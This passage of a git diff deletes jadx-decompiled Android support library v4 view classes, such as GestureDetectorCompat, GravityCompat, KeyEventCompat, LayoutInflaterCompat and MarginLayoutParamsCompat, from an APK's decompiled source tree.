viewConfiguration.getScaledMinimumFlingVelocity(); - this.mMaximumFlingVelocity = viewConfiguration.getScaledMaximumFlingVelocity(); - this.mTouchSlopSquare = scaledTouchSlop * scaledTouchSlop; - this.mDoubleTapSlopSquare = scaledDoubleTapSlop * scaledDoubleTapSlop; - } - - @Override // android.support.v4.view.GestureDetectorCompat.GestureDetectorCompatImpl - public void setOnDoubleTapListener(GestureDetector.OnDoubleTapListener onDoubleTapListener) { - this.mDoubleTapListener = onDoubleTapListener; - } - - @Override // android.support.v4.view.GestureDetectorCompat.GestureDetectorCompatImpl - public void setIsLongpressEnabled(boolean z) { - this.mIsLongpressEnabled = z; - } - - @Override // android.support.v4.view.GestureDetectorCompat.GestureDetectorCompatImpl - public boolean isLongpressEnabled() { - return this.mIsLongpressEnabled; - } - - /* JADX WARN: Removed duplicated region for block: B:107:0x0201 */ - /* JADX WARN: Removed duplicated region for block: B:110:0x0218 */ - @Override // android.support.v4.view.GestureDetectorCompat.GestureDetectorCompatImpl - /* - Code decompiled incorrectly, please refer to instructions dump. - To view partially-correct add '--show-bad-code' argument - */ - public boolean onTouchEvent(android.view.MotionEvent r13) { - /* - Method dump skipped, instructions count: 584 - To view this dump add '--comments-level debug' option - */ - throw new UnsupportedOperationException("Method not decompiled: android.support.v4.view.GestureDetectorCompat.GestureDetectorCompatImplBase.onTouchEvent(android.view.MotionEvent):boolean"); - } - - private void cancel() { - this.mHandler.removeMessages(1); - this.mHandler.removeMessages(2); - this.mHandler.removeMessages(3); - this.mVelocityTracker.recycle(); - this.mVelocityTracker = null; - this.mIsDoubleTapping = false; - this.mStillDown = false; - this.mAlwaysInTapRegion = false; - this.mAlwaysInBiggerTapRegion = false; - this.mDeferConfirmSingleTap = false; - if (this.mInLongPress) { - this.mInLongPress = false; - } - } - - private void cancelTaps() { - this.mHandler.removeMessages(1); - this.mHandler.removeMessages(2); - this.mHandler.removeMessages(3); - this.mIsDoubleTapping = false; - this.mAlwaysInTapRegion = false; - this.mAlwaysInBiggerTapRegion = false; - this.mDeferConfirmSingleTap = false; - if (this.mInLongPress) { - this.mInLongPress = false; - } - } - - private boolean isConsideredDoubleTap(MotionEvent motionEvent, MotionEvent motionEvent2, MotionEvent motionEvent3) { - if (this.mAlwaysInBiggerTapRegion && motionEvent3.getEventTime() - motionEvent2.getEventTime() <= DOUBLE_TAP_TIMEOUT) { - int x = ((int) motionEvent.getX()) - ((int) motionEvent3.getX()); - int y = ((int) motionEvent.getY()) - ((int) motionEvent3.getY()); - return (x * x) + (y * y) < this.mDoubleTapSlopSquare; - } - return false; - } - - void dispatchLongPress() { - this.mHandler.removeMessages(3); - this.mDeferConfirmSingleTap = false; - this.mInLongPress = true; - this.mListener.onLongPress(this.mCurrentDownEvent); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class GestureDetectorCompatImplJellybeanMr2 implements GestureDetectorCompatImpl { - private final GestureDetector mDetector; - - public GestureDetectorCompatImplJellybeanMr2(Context context, GestureDetector.OnGestureListener onGestureListener, Handler handler) { - this.mDetector = new GestureDetector(context, onGestureListener, handler); - } - - @Override // android.support.v4.view.GestureDetectorCompat.GestureDetectorCompatImpl - public boolean isLongpressEnabled() { - return this.mDetector.isLongpressEnabled(); - } - - @Override // android.support.v4.view.GestureDetectorCompat.GestureDetectorCompatImpl - public boolean onTouchEvent(MotionEvent motionEvent) { - return this.mDetector.onTouchEvent(motionEvent); - } - - @Override // android.support.v4.view.GestureDetectorCompat.GestureDetectorCompatImpl - public void setIsLongpressEnabled(boolean z) { - this.mDetector.setIsLongpressEnabled(z); - } - - @Override // android.support.v4.view.GestureDetectorCompat.GestureDetectorCompatImpl - public void setOnDoubleTapListener(GestureDetector.OnDoubleTapListener onDoubleTapListener) { - this.mDetector.setOnDoubleTapListener(onDoubleTapListener); - } - } - - public GestureDetectorCompat(Context context, GestureDetector.OnGestureListener onGestureListener) { - this(context, onGestureListener, null); - } - - public GestureDetectorCompat(Context context, GestureDetector.OnGestureListener onGestureListener, Handler handler) { - this.mImpl = new GestureDetectorCompatImplJellybeanMr2(context, onGestureListener, handler); - } - - public boolean isLongpressEnabled() { - return this.mImpl.isLongpressEnabled(); - } - - public boolean onTouchEvent(MotionEvent motionEvent) { - return this.mImpl.onTouchEvent(motionEvent); - } - - public void setIsLongpressEnabled(boolean z) { - this.mImpl.setIsLongpressEnabled(z); - } - - public void setOnDoubleTapListener(GestureDetector.OnDoubleTapListener onDoubleTapListener) { - this.mImpl.setOnDoubleTapListener(onDoubleTapListener); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/GravityCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/GravityCompat.java deleted file mode 100644 index 5c509fd..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/GravityCompat.java +++ /dev/null @@ -1,94 +0,0 @@ -package android.support.v4.view; - -import android.graphics.Rect; -import android.view.Gravity; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class GravityCompat { - public static final int END = 8388613; - static final GravityCompatImpl IMPL = new GravityCompatImplJellybeanMr1(); - public static final int RELATIVE_HORIZONTAL_GRAVITY_MASK = 8388615; - public static final int RELATIVE_LAYOUT_DIRECTION = 8388608; - public static final int START = 8388611; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface GravityCompatImpl { - void apply(int i, int i2, int i3, Rect rect, int i4, int i5, Rect rect2, int i6); - - void apply(int i, int i2, int i3, Rect rect, Rect rect2, int i4); - - void applyDisplay(int i, Rect rect, Rect rect2, int i2); - - int getAbsoluteGravity(int i, int i2); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class GravityCompatImplBase implements GravityCompatImpl { - @Override // android.support.v4.view.GravityCompat.GravityCompatImpl - public int getAbsoluteGravity(int i, int i2) { - return i & (-8388609); - } - - GravityCompatImplBase() { - } - - @Override // android.support.v4.view.GravityCompat.GravityCompatImpl - public void apply(int i, int i2, int i3, Rect rect, Rect rect2, int i4) { - Gravity.apply(i, i2, i3, rect, rect2); - } - - @Override // android.support.v4.view.GravityCompat.GravityCompatImpl - public void apply(int i, int i2, int i3, Rect rect, int i4, int i5, Rect rect2, int i6) { - Gravity.apply(i, i2, i3, rect, i4, i5, rect2); - } - - @Override // android.support.v4.view.GravityCompat.GravityCompatImpl - public void applyDisplay(int i, Rect rect, Rect rect2, int i2) { - Gravity.applyDisplay(i, rect, rect2); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class GravityCompatImplJellybeanMr1 implements GravityCompatImpl { - GravityCompatImplJellybeanMr1() { - } - - @Override // android.support.v4.view.GravityCompat.GravityCompatImpl - public int getAbsoluteGravity(int i, int i2) { - return GravityCompatJellybeanMr1.getAbsoluteGravity(i, i2); - } - - @Override // android.support.v4.view.GravityCompat.GravityCompatImpl - public void apply(int i, int i2, int i3, Rect rect, Rect rect2, int i4) { - GravityCompatJellybeanMr1.apply(i, i2, i3, rect, rect2, i4); - } - - @Override // android.support.v4.view.GravityCompat.GravityCompatImpl - public void apply(int i, int i2, int i3, Rect rect, int i4, int i5, Rect rect2, int i6) { - GravityCompatJellybeanMr1.apply(i, i2, i3, rect, i4, i5, rect2, i6); - } - - @Override // android.support.v4.view.GravityCompat.GravityCompatImpl - public void applyDisplay(int i, Rect rect, Rect rect2, int i2) { - GravityCompatJellybeanMr1.applyDisplay(i, rect, rect2, i2); - } - } - - public static void apply(int i, int i2, int i3, Rect rect, Rect rect2, int i4) { - IMPL.apply(i, i2, i3, rect, rect2, i4); - } - - public static void apply(int i, int i2, int i3, Rect rect, int i4, int i5, Rect rect2, int i6) { - IMPL.apply(i, i2, i3, rect, i4, i5, rect2, i6); - } - - public static void applyDisplay(int i, Rect rect, Rect rect2, int i2) { - IMPL.applyDisplay(i, rect, rect2, i2); - } - - public static int getAbsoluteGravity(int i, int i2) { - return IMPL.getAbsoluteGravity(i, i2); - } - - private GravityCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/GravityCompatJellybeanMr1.java b/apk_3230/decompiled_source/sources/android/support/v4/view/GravityCompatJellybeanMr1.java deleted file mode 100644 index b47b77d..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/GravityCompatJellybeanMr1.java +++ /dev/null @@ -1,25 +0,0 @@ -package android.support.v4.view; - -import android.graphics.Rect; -import android.view.Gravity; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class GravityCompatJellybeanMr1 { - GravityCompatJellybeanMr1() { - } - - public static int getAbsoluteGravity(int i, int i2) { - return Gravity.getAbsoluteGravity(i, i2); - } - - public static void apply(int i, int i2, int i3, Rect rect, Rect rect2, int i4) { - Gravity.apply(i, i2, i3, rect, rect2, i4); - } - - public static void apply(int i, int i2, int i3, Rect rect, int i4, int i5, Rect rect2, int i6) { - Gravity.apply(i, i2, i3, rect, i4, i5, rect2, i6); - } - - public static void applyDisplay(int i, Rect rect, Rect rect2, int i2) { - Gravity.applyDisplay(i, rect, rect2, i2); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/InputDeviceCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/InputDeviceCompat.java deleted file mode 100644 index d22d51c..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/InputDeviceCompat.java +++ /dev/null @@ -1,27 +0,0 @@ -package android.support.v4.view; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class InputDeviceCompat { - public static final int SOURCE_ANY = -256; - public static final int SOURCE_CLASS_BUTTON = 1; - public static final int SOURCE_CLASS_JOYSTICK = 16; - public static final int SOURCE_CLASS_MASK = 255; - public static final int SOURCE_CLASS_NONE = 0; - public static final int SOURCE_CLASS_POINTER = 2; - public static final int SOURCE_CLASS_POSITION = 8; - public static final int SOURCE_CLASS_TRACKBALL = 4; - public static final int SOURCE_DPAD = 513; - public static final int SOURCE_GAMEPAD = 1025; - public static final int SOURCE_HDMI = 33554433; - public static final int SOURCE_JOYSTICK = 16777232; - public static final int SOURCE_KEYBOARD = 257; - public static final int SOURCE_MOUSE = 8194; - public static final int SOURCE_STYLUS = 16386; - public static final int SOURCE_TOUCHPAD = 1048584; - public static final int SOURCE_TOUCHSCREEN = 4098; - public static final int SOURCE_TOUCH_NAVIGATION = 2097152; - public static final int SOURCE_TRACKBALL = 65540; - public static final int SOURCE_UNKNOWN = 0; - - private InputDeviceCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/KeyEventCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/KeyEventCompat.java deleted file mode 100644 index 968fcfd..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/KeyEventCompat.java +++ /dev/null @@ -1,145 +0,0 @@ -package android.support.v4.view; - -import android.view.KeyEvent; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class KeyEventCompat { - static final KeyEventVersionImpl IMPL = new HoneycombKeyEventVersionImpl(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface KeyEventVersionImpl { - boolean isCtrlPressed(KeyEvent keyEvent); - - boolean metaStateHasModifiers(int i, int i2); - - boolean metaStateHasNoModifiers(int i); - - int normalizeMetaState(int i); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class BaseKeyEventVersionImpl implements KeyEventVersionImpl { - private static final int META_ALL_MASK = 247; - private static final int META_MODIFIER_MASK = 247; - - @Override // android.support.v4.view.KeyEventCompat.KeyEventVersionImpl - public boolean isCtrlPressed(KeyEvent keyEvent) { - return false; - } - - @Override // android.support.v4.view.KeyEventCompat.KeyEventVersionImpl - public int normalizeMetaState(int i) { - if ((i & 192) != 0) { - i |= 1; - } - if ((i & 48) != 0) { - i |= 2; - } - return i & 247; - } - - BaseKeyEventVersionImpl() { - } - - private static int metaStateFilterDirectionalModifiers(int i, int i2, int i3, int i4, int i5) { - int i6; - boolean z = (i2 & i3) != 0; - int i7 = i4 | i5; - boolean z2 = (i2 & i7) != 0; - if (z) { - if (z2) { - throw new IllegalArgumentException("bad arguments"); - } - i6 = ~i7; - } else if (!z2) { - return i; - } else { - i6 = ~i3; - } - return i & i6; - } - - @Override // android.support.v4.view.KeyEventCompat.KeyEventVersionImpl - public boolean metaStateHasModifiers(int i, int i2) { - return metaStateFilterDirectionalModifiers(metaStateFilterDirectionalModifiers(normalizeMetaState(i) & 247, i2, 1, 64, 128), i2, 2, 16, 32) == i2; - } - - @Override // android.support.v4.view.KeyEventCompat.KeyEventVersionImpl - public boolean metaStateHasNoModifiers(int i) { - return (normalizeMetaState(i) & 247) == 0; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class HoneycombKeyEventVersionImpl extends BaseKeyEventVersionImpl { - HoneycombKeyEventVersionImpl() { - } - - @Override // android.support.v4.view.KeyEventCompat.BaseKeyEventVersionImpl, android.support.v4.view.KeyEventCompat.KeyEventVersionImpl - public int normalizeMetaState(int i) { - return KeyEventCompatHoneycomb.normalizeMetaState(i); - } - - @Override // android.support.v4.view.KeyEventCompat.BaseKeyEventVersionImpl, android.support.v4.view.KeyEventCompat.KeyEventVersionImpl - public boolean metaStateHasModifiers(int i, int i2) { - return KeyEventCompatHoneycomb.metaStateHasModifiers(i, i2); - } - - @Override // android.support.v4.view.KeyEventCompat.BaseKeyEventVersionImpl, android.support.v4.view.KeyEventCompat.KeyEventVersionImpl - public boolean metaStateHasNoModifiers(int i) { - return KeyEventCompatHoneycomb.metaStateHasNoModifiers(i); - } - - @Override // android.support.v4.view.KeyEventCompat.BaseKeyEventVersionImpl, android.support.v4.view.KeyEventCompat.KeyEventVersionImpl - public boolean isCtrlPressed(KeyEvent keyEvent) { - return KeyEventCompatHoneycomb.isCtrlPressed(keyEvent); - } - } - - public static int normalizeMetaState(int i) { - return IMPL.normalizeMetaState(i); - } - - public static boolean metaStateHasModifiers(int i, int i2) { - return IMPL.metaStateHasModifiers(i, i2); - } - - public static boolean metaStateHasNoModifiers(int i) { - return IMPL.metaStateHasNoModifiers(i); - } - - public static boolean hasModifiers(KeyEvent keyEvent, int i) { - return IMPL.metaStateHasModifiers(keyEvent.getMetaState(), i); - } - - public static boolean hasNoModifiers(KeyEvent keyEvent) { - return IMPL.metaStateHasNoModifiers(keyEvent.getMetaState()); - } - - @Deprecated - public static void startTracking(KeyEvent keyEvent) { - keyEvent.startTracking(); - } - - @Deprecated - public static boolean isTracking(KeyEvent keyEvent) { - return keyEvent.isTracking(); - } - - @Deprecated - public static Object getKeyDispatcherState(View view) { - return view.getKeyDispatcherState(); - } - - @Deprecated - public static boolean dispatch(KeyEvent keyEvent, KeyEvent.Callback callback, Object obj, Object obj2) { - return keyEvent.dispatch(callback, (KeyEvent.DispatcherState) obj, obj2); - } - - public static boolean isCtrlPressed(KeyEvent keyEvent) { - return IMPL.isCtrlPressed(keyEvent); - } - - private KeyEventCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/KeyEventCompatHoneycomb.java b/apk_3230/decompiled_source/sources/android/support/v4/view/KeyEventCompatHoneycomb.java deleted file mode 100644 index 54e9425..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/KeyEventCompatHoneycomb.java +++ /dev/null @@ -1,24 +0,0 @@ -package android.support.v4.view; - -import android.view.KeyEvent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class KeyEventCompatHoneycomb { - KeyEventCompatHoneycomb() { - } - - public static int normalizeMetaState(int i) { - return KeyEvent.normalizeMetaState(i); - } - - public static boolean metaStateHasModifiers(int i, int i2) { - return KeyEvent.metaStateHasModifiers(i, i2); - } - - public static boolean metaStateHasNoModifiers(int i) { - return KeyEvent.metaStateHasNoModifiers(i); - } - - public static boolean isCtrlPressed(KeyEvent keyEvent) { - return keyEvent.isCtrlPressed(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/LayoutInflaterCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/LayoutInflaterCompat.java deleted file mode 100644 index 0cff0ce..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/LayoutInflaterCompat.java +++ /dev/null @@ -1,63 +0,0 @@ -package android.support.v4.view; - -import android.view.LayoutInflater; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class LayoutInflaterCompat { - static final LayoutInflaterCompatImpl IMPL = new LayoutInflaterCompatImplV21(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface LayoutInflaterCompatImpl { - LayoutInflaterFactory getFactory(LayoutInflater layoutInflater); - - void setFactory(LayoutInflater layoutInflater, LayoutInflaterFactory layoutInflaterFactory); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class LayoutInflaterCompatImplBase implements LayoutInflaterCompatImpl { - LayoutInflaterCompatImplBase() { - } - - @Override // android.support.v4.view.LayoutInflaterCompat.LayoutInflaterCompatImpl - public void setFactory(LayoutInflater layoutInflater, LayoutInflaterFactory layoutInflaterFactory) { - LayoutInflaterCompatBase.setFactory(layoutInflater, layoutInflaterFactory); - } - - @Override // android.support.v4.view.LayoutInflaterCompat.LayoutInflaterCompatImpl - public LayoutInflaterFactory getFactory(LayoutInflater layoutInflater) { - return LayoutInflaterCompatBase.getFactory(layoutInflater); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class LayoutInflaterCompatImplV11 extends LayoutInflaterCompatImplBase { - LayoutInflaterCompatImplV11() { - } - - @Override // android.support.v4.view.LayoutInflaterCompat.LayoutInflaterCompatImplBase, android.support.v4.view.LayoutInflaterCompat.LayoutInflaterCompatImpl - public void setFactory(LayoutInflater layoutInflater, LayoutInflaterFactory layoutInflaterFactory) { - LayoutInflaterCompatHC.setFactory(layoutInflater, layoutInflaterFactory); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class LayoutInflaterCompatImplV21 extends LayoutInflaterCompatImplV11 { - LayoutInflaterCompatImplV21() { - } - - @Override // android.support.v4.view.LayoutInflaterCompat.LayoutInflaterCompatImplV11, android.support.v4.view.LayoutInflaterCompat.LayoutInflaterCompatImplBase, android.support.v4.view.LayoutInflaterCompat.LayoutInflaterCompatImpl - public void setFactory(LayoutInflater layoutInflater, LayoutInflaterFactory layoutInflaterFactory) { - LayoutInflaterCompatLollipop.setFactory(layoutInflater, layoutInflaterFactory); - } - } - - private LayoutInflaterCompat() { - } - - public static void setFactory(LayoutInflater layoutInflater, LayoutInflaterFactory layoutInflaterFactory) { - IMPL.setFactory(layoutInflater, layoutInflaterFactory); - } - - public static LayoutInflaterFactory getFactory(LayoutInflater layoutInflater) { - return IMPL.getFactory(layoutInflater); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/LayoutInflaterCompatBase.java b/apk_3230/decompiled_source/sources/android/support/v4/view/LayoutInflaterCompatBase.java deleted file mode 100644 index b9eb4cb..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/LayoutInflaterCompatBase.java +++ /dev/null @@ -1,44 +0,0 @@ -package android.support.v4.view; - -import android.content.Context; -import android.util.AttributeSet; -import android.view.LayoutInflater; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class LayoutInflaterCompatBase { - LayoutInflaterCompatBase() { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class FactoryWrapper implements LayoutInflater.Factory { - final LayoutInflaterFactory mDelegateFactory; - - /* JADX INFO: Access modifiers changed from: package-private */ - public FactoryWrapper(LayoutInflaterFactory layoutInflaterFactory) { - this.mDelegateFactory = layoutInflaterFactory; - } - - @Override // android.view.LayoutInflater.Factory - public View onCreateView(String str, Context context, AttributeSet attributeSet) { - return this.mDelegateFactory.onCreateView(null, str, context, attributeSet); - } - - public String toString() { - return getClass().getName() + "{" + this.mDelegateFactory + "}"; - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void setFactory(LayoutInflater layoutInflater, LayoutInflaterFactory layoutInflaterFactory) { - layoutInflater.setFactory(layoutInflaterFactory != null ? new FactoryWrapper(layoutInflaterFactory) : null); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static LayoutInflaterFactory getFactory(LayoutInflater layoutInflater) { - LayoutInflater.Factory factory = layoutInflater.getFactory(); - if (factory instanceof FactoryWrapper) { - return ((FactoryWrapper) factory).mDelegateFactory; - } - return null; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/LayoutInflaterCompatHC.java b/apk_3230/decompiled_source/sources/android/support/v4/view/LayoutInflaterCompatHC.java deleted file mode 100644 index 21371ca..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/LayoutInflaterCompatHC.java +++ /dev/null @@ -1,64 +0,0 @@ -package android.support.v4.view; - -import android.content.Context; -import android.support.v4.view.LayoutInflaterCompatBase; -import android.util.AttributeSet; -import android.util.Log; -import android.view.LayoutInflater; -import android.view.View; -import java.lang.reflect.Field; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class LayoutInflaterCompatHC { - private static final String TAG = "LayoutInflaterCompatHC"; - private static boolean sCheckedField; - private static Field sLayoutInflaterFactory2Field; - - LayoutInflaterCompatHC() { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class FactoryWrapperHC extends LayoutInflaterCompatBase.FactoryWrapper implements LayoutInflater.Factory2 { - /* JADX INFO: Access modifiers changed from: package-private */ - public FactoryWrapperHC(LayoutInflaterFactory layoutInflaterFactory) { - super(layoutInflaterFactory); - } - - @Override // android.view.LayoutInflater.Factory2 - public View onCreateView(View view, String str, Context context, AttributeSet attributeSet) { - return this.mDelegateFactory.onCreateView(view, str, context, attributeSet); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void setFactory(LayoutInflater layoutInflater, LayoutInflaterFactory layoutInflaterFactory) { - FactoryWrapperHC factoryWrapperHC = layoutInflaterFactory != null ? new FactoryWrapperHC(layoutInflaterFactory) : null; - layoutInflater.setFactory2(factoryWrapperHC); - LayoutInflater.Factory factory = layoutInflater.getFactory(); - if (factory instanceof LayoutInflater.Factory2) { - forceSetFactory2(layoutInflater, (LayoutInflater.Factory2) factory); - } else { - forceSetFactory2(layoutInflater, factoryWrapperHC); - } - } - - static void forceSetFactory2(LayoutInflater layoutInflater, LayoutInflater.Factory2 factory2) { - if (!sCheckedField) { - try { - Field declaredField = LayoutInflater.class.getDeclaredField("mFactory2"); - sLayoutInflaterFactory2Field = declaredField; - declaredField.setAccessible(true); - } catch (NoSuchFieldException e) { - Log.e(TAG, "forceSetFactory2 Could not find field 'mFactory2' on class " + LayoutInflater.class.getName() + "; inflation may have unexpected results.", e); - } - sCheckedField = true; - } - Field field = sLayoutInflaterFactory2Field; - if (field != null) { - try { - field.set(layoutInflater, factory2); - } catch (IllegalAccessException e2) { - Log.e(TAG, "forceSetFactory2 could not set the Factory2 on LayoutInflater " + layoutInflater + "; inflation may have unexpected results.", e2); - } - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/LayoutInflaterCompatLollipop.java b/apk_3230/decompiled_source/sources/android/support/v4/view/LayoutInflaterCompatLollipop.java deleted file mode 100644 index 0b1fa27..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/LayoutInflaterCompatLollipop.java +++ /dev/null @@ -1,14 +0,0 @@ -package android.support.v4.view; - -import android.support.v4.view.LayoutInflaterCompatHC; -import android.view.LayoutInflater; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class LayoutInflaterCompatLollipop { - LayoutInflaterCompatLollipop() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void setFactory(LayoutInflater layoutInflater, LayoutInflaterFactory layoutInflaterFactory) { - layoutInflater.setFactory2(layoutInflaterFactory != null ? new LayoutInflaterCompatHC.FactoryWrapperHC(layoutInflaterFactory) : null); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/LayoutInflaterFactory.java b/apk_3230/decompiled_source/sources/android/support/v4/view/LayoutInflaterFactory.java deleted file mode 100644 index 32e35b1..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/LayoutInflaterFactory.java +++ /dev/null @@ -1,9 +0,0 @@ -package android.support.v4.view; - -import android.content.Context; -import android.util.AttributeSet; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public interface LayoutInflaterFactory { - View onCreateView(View view, String str, Context context, AttributeSet attributeSet); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/MarginLayoutParamsCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/MarginLayoutParamsCompat.java deleted file mode 100644 index cad7e50..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/MarginLayoutParamsCompat.java +++ /dev/null @@ -1,155 +0,0 @@ -package android.support.v4.view; - -import android.view.ViewGroup; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class MarginLayoutParamsCompat { - static final MarginLayoutParamsCompatImpl IMPL = new MarginLayoutParamsCompatImplJbMr1(); - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface MarginLayoutParamsCompatImpl { - int getLayoutDirection(ViewGroup.MarginLayoutParams marginLayoutParams); - - int getMarginEnd(ViewGroup.MarginLayoutParams marginLayoutParams); - - int getMarginStart(ViewGroup.MarginLayoutParams marginLayoutParams); - - boolean isMarginRelative(ViewGroup.MarginLayoutParams marginLayoutParams); - - void resolveLayoutDirection(ViewGroup.MarginLayoutParams marginLayoutParams, int i); - - void setLayoutDirection(ViewGroup.MarginLayoutParams marginLayoutParams, int i); - - void setMarginEnd(ViewGroup.MarginLayoutParams marginLayoutParams, int i); - - void setMarginStart(ViewGroup.MarginLayoutParams marginLayoutParams, int i); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class MarginLayoutParamsCompatImplBase implements MarginLayoutParamsCompatImpl { - @Override // android.support.v4.view.MarginLayoutParamsCompat.MarginLayoutParamsCompatImpl - public int getLayoutDirection(ViewGroup.MarginLayoutParams marginLayoutParams) { - return 0; - } - - @Override // android.support.v4.view.MarginLayoutParamsCompat.MarginLayoutParamsCompatImpl - public boolean isMarginRelative(ViewGroup.MarginLayoutParams marginLayoutParams) { - return false; - } - - @Override // android.support.v4.view.MarginLayoutParamsCompat.MarginLayoutParamsCompatImpl - public void resolveLayoutDirection(ViewGroup.MarginLayoutParams marginLayoutParams, int i) { - } - - @Override // android.support.v4.view.MarginLayoutParamsCompat.MarginLayoutParamsCompatImpl - public void setLayoutDirection(ViewGroup.MarginLayoutParams marginLayoutParams, int i) { - } - - MarginLayoutParamsCompatImplBase() { - } - - @Override // android.support.v4.view.MarginLayoutParamsCompat.MarginLayoutParamsCompatImpl - public int getMarginStart(ViewGroup.MarginLayoutParams marginLayoutParams) { - return marginLayoutParams.leftMargin; - } - - @Override // android.support.v4.view.MarginLayoutParamsCompat.MarginLayoutParamsCompatImpl - public int getMarginEnd(ViewGroup.MarginLayoutParams marginLayoutParams) { - return marginLayoutParams.rightMargin; - } - - @Override // android.support.v4.view.MarginLayoutParamsCompat.MarginLayoutParamsCompatImpl - public void setMarginStart(ViewGroup.MarginLayoutParams marginLayoutParams, int i) { - marginLayoutParams.leftMargin = i; - } - - @Override // android.support.v4.view.MarginLayoutParamsCompat.MarginLayoutParamsCompatImpl - public void setMarginEnd(ViewGroup.MarginLayoutParams marginLayoutParams, int i) { - marginLayoutParams.rightMargin = i; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class MarginLayoutParamsCompatImplJbMr1 implements MarginLayoutParamsCompatImpl { - MarginLayoutParamsCompatImplJbMr1() { - } - - @Override // android.support.v4.view.MarginLayoutParamsCompat.MarginLayoutParamsCompatImpl - public int getMarginStart(ViewGroup.MarginLayoutParams marginLayoutParams) { - return MarginLayoutParamsCompatJellybeanMr1.getMarginStart(marginLayoutParams); - } - - @Override // android.support.v4.view.MarginLayoutParamsCompat.MarginLayoutParamsCompatImpl - public int getMarginEnd(ViewGroup.MarginLayoutParams marginLayoutParams) { - return MarginLayoutParamsCompatJellybeanMr1.getMarginEnd(marginLayoutParams); - } - - @Override // android.support.v4.view.MarginLayoutParamsCompat.MarginLayoutParamsCompatImpl - public void setMarginStart(ViewGroup.MarginLayoutParams marginLayoutParams, int i) { - MarginLayoutParamsCompatJellybeanMr1.setMarginStart(marginLayoutParams, i); - } - - @Override // android.support.v4.view.MarginLayoutParamsCompat.MarginLayoutParamsCompatImpl - public void setMarginEnd(ViewGroup.MarginLayoutParams marginLayoutParams, int i) { - MarginLayoutParamsCompatJellybeanMr1.setMarginEnd(marginLayoutParams, i); - } - - @Override // android.support.v4.view.MarginLayoutParamsCompat.MarginLayoutParamsCompatImpl - public boolean isMarginRelative(ViewGroup.MarginLayoutParams marginLayoutParams) { - return MarginLayoutParamsCompatJellybeanMr1.isMarginRelative(marginLayoutParams); - } - - @Override // android.support.v4.view.MarginLayoutParamsCompat.MarginLayoutParamsCompatImpl - public int getLayoutDirection(ViewGroup.MarginLayoutParams marginLayoutParams) { - return MarginLayoutParamsCompatJellybeanMr1.getLayoutDirection(marginLayoutParams); - } - - @Override // android.support.v4.view.MarginLayoutParamsCompat.MarginLayoutParamsCompatImpl - public void setLayoutDirection(ViewGroup.MarginLayoutParams marginLayoutParams, int i) { - MarginLayoutParamsCompatJellybeanMr1.setLayoutDirection(marginLayoutParams, i); - } - - @Override // android.support.v4.view.MarginLayoutParamsCompat.MarginLayoutParamsCompatImpl - public void resolveLayoutDirection(ViewGroup.MarginLayoutParams marginLayoutParams, int i) { - MarginLayoutParamsCompatJellybeanMr1.resolveLayoutDirection(marginLayoutParams, i); - } - } - - public static int getMarginStart(ViewGroup.MarginLayoutParams marginLayoutParams) { - return IMPL.getMarginStart(marginLayoutParams); - } - - public static int 